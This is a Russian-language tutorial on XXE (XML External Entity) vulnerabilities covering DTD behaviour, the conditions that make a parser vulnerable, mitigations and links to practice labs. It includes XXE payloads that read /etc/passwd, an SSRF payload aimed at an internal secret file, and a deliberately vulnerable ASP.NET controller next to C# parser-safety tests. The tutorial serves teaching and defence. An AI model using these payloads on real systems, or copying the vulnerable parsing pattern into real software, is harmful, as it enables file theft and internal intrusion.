## Описание сути уязвимости XXE
Данная уязвимость это просто переиспользование функционала, который был создан для расширения возможностей формата XML.
Основная причина возникновения уязвимости - неаккуратное использование библиотек, которые занимаются разбором файла для нужд приложения.

### Детали XML и DTD, являющиеся причиной для возникновения уязвимости
XML это формат файла, описывается описывается вот [этой](https://www.w3.org/TR/xml/) спецификацией.
Формат изнутри выглядит как html:
```
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
```
Теги и атрибуты можно задавать самостоятельно, можно использовать специальные теги, которые описывают как будет составлен результирующий документ.
Основой формирования докуметна с заданными характеристиками является DTD механизм.
По сути это просто набор объявлений, которые предоставляют возможность включать в документ указанные данные. Это может быть картинка, другой xml документ или любое значение - сторока или число.
Особенной частью механима является то, что механизм DTD может работать с:
- объектами внутри xml
- объектами внутри файловой системы ОС
- объектами, которые располагаются в сетевом хранилище (FTP, HTTP, SMB потоколы)
Работа DTD в веб-приложениях организуется силами библиотеки, которую включают в проект. Чаще всего язык программирования содержит свою библиотеку, которая и становится основой для работы с форматом в приложении.
:::danger
Стоить помнить, что XML это формат, который используется не только в сыром виде, он так же может быть частью других сложных форматов:
- SOAP конвертов
- DOCX файлов
- SVG картинок
- ...
Нужно иметь в виду, что эти форматы могут так же использовать DTD.
:::
### Условия возникновения уязвимости
Уязвимость появляется при выполнении 2х условий:
1. Данные от пользователя получаются в виде json, а потом перегоняются в XML
2. Данные получаются в XML формате
3. В библиотеке для разбора формата файлов включено использование DTD
:::info
В Java и С# нужно явно указывать, что парсер не имеет возможности работать с DTD, иначе значение по-умолчанию может его включить.
:::
### Последствия эксплуатации
Обычно, при помощи уязвимости можно открывать локально сохраненные в файловой системе файлы, отправлять их содержимое через http и ftp протокол.
Так же уязвимость может быть совмещена с SSRF, атакой в этом случае XML является контейнером для доставки полезной нагрузки, а результирующее действие будет зависеть от типа сервиса, куда отправляется SSRF.
### Примеры
Чтение файла из файловой системы ОС:
```=
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```
Чтение файлай из файловой системы через SOAP:
```=
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```
SSRF:
```=
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```
Примеры уязвимого кода:
```C#=
using NUnit.Framework;
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Xml;
namespace XXEExamples.Tests
{
[TestFixture]
public class XmlReader_Tests
{
[Test]
public void XMLReader_WithDTDProcessingParseAndXmlResolverSet_NotSafe()
{
AssertXXE.IsXMLParserSafe((string xml) =>
{
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.XmlResolver = new XmlUrlResolver();
settings.MaxCharactersFromEntities = 6000;
using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml)))
{
XmlReader reader = XmlReader.Create(stream, settings);
var xmlDocument = new XmlDocument();
xmlDocument.XmlResolver = new XmlUrlResolver();
xmlDocument.Load(reader);
return xmlDocument.InnerText;
}
}, false);
}
[Test]
public void XMLReader_WithDTDProcessingIgnored_Safe()
{
var exception = Assert.Throws<XmlException>(() =>
{
AssertXXE.IsXMLParserSafe((string xml) =>
{
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Ignore;
settings.MaxCharactersFromEntities = 6000;
using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml)))
{
XmlReader reader = XmlReader.Create(stream, settings);
var xmlDocument = new XmlDocument();
xmlDocument.XmlResolver = new XmlUrlResolver();
xmlDocument.Load(reader);
return xmlDocument.InnerText;
}
}, true);
});
Assert.IsTrue(exception.Message.StartsWith("Reference to undeclared entity 'xxe'."));
}
[Test]
public void XMLReader_WithDTDProcessingProhibited_Safe()
{
var exception = Assert.Throws<XmlException>(() =>
{
AssertXXE.IsXMLParserSafe((string xml) =>
{
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.MaxCharactersFromEntities = 6000;
using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml)))
{
XmlReader reader = XmlReader.Create(stream, settings);
var xmlDocument = new XmlDocument();
xmlDocument.XmlResolver = new XmlUrlResolver();
xmlDocument.Load(reader);
return xmlDocument.InnerText;
}
}, true);
});
Assert.IsTrue(exception.Message.StartsWith("For security reasons DTD is prohibited in this XML document."));
}
}
}
```
```C#=
using Microsoft.AspNetCore.Mvc;
using System;
using System.Xml;
namespace WebFox.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class XxeTest1 : ControllerBase
{
[HttpGet("{xmlString}")]
public void DoXxe(String xmlString)
{
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.LoadXml(xmlString);
}
}
}
```
### Способы защиты
- Проверка версий окружения, языка программирования, по-умолчанию могут быть разные значения флагов для включения DTD
- полное отключение DTD и XInclude
## Практика
- https://portswigger.net/web-security/all-labs
- https://ringzer0ctf.com/challenges/85
- https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity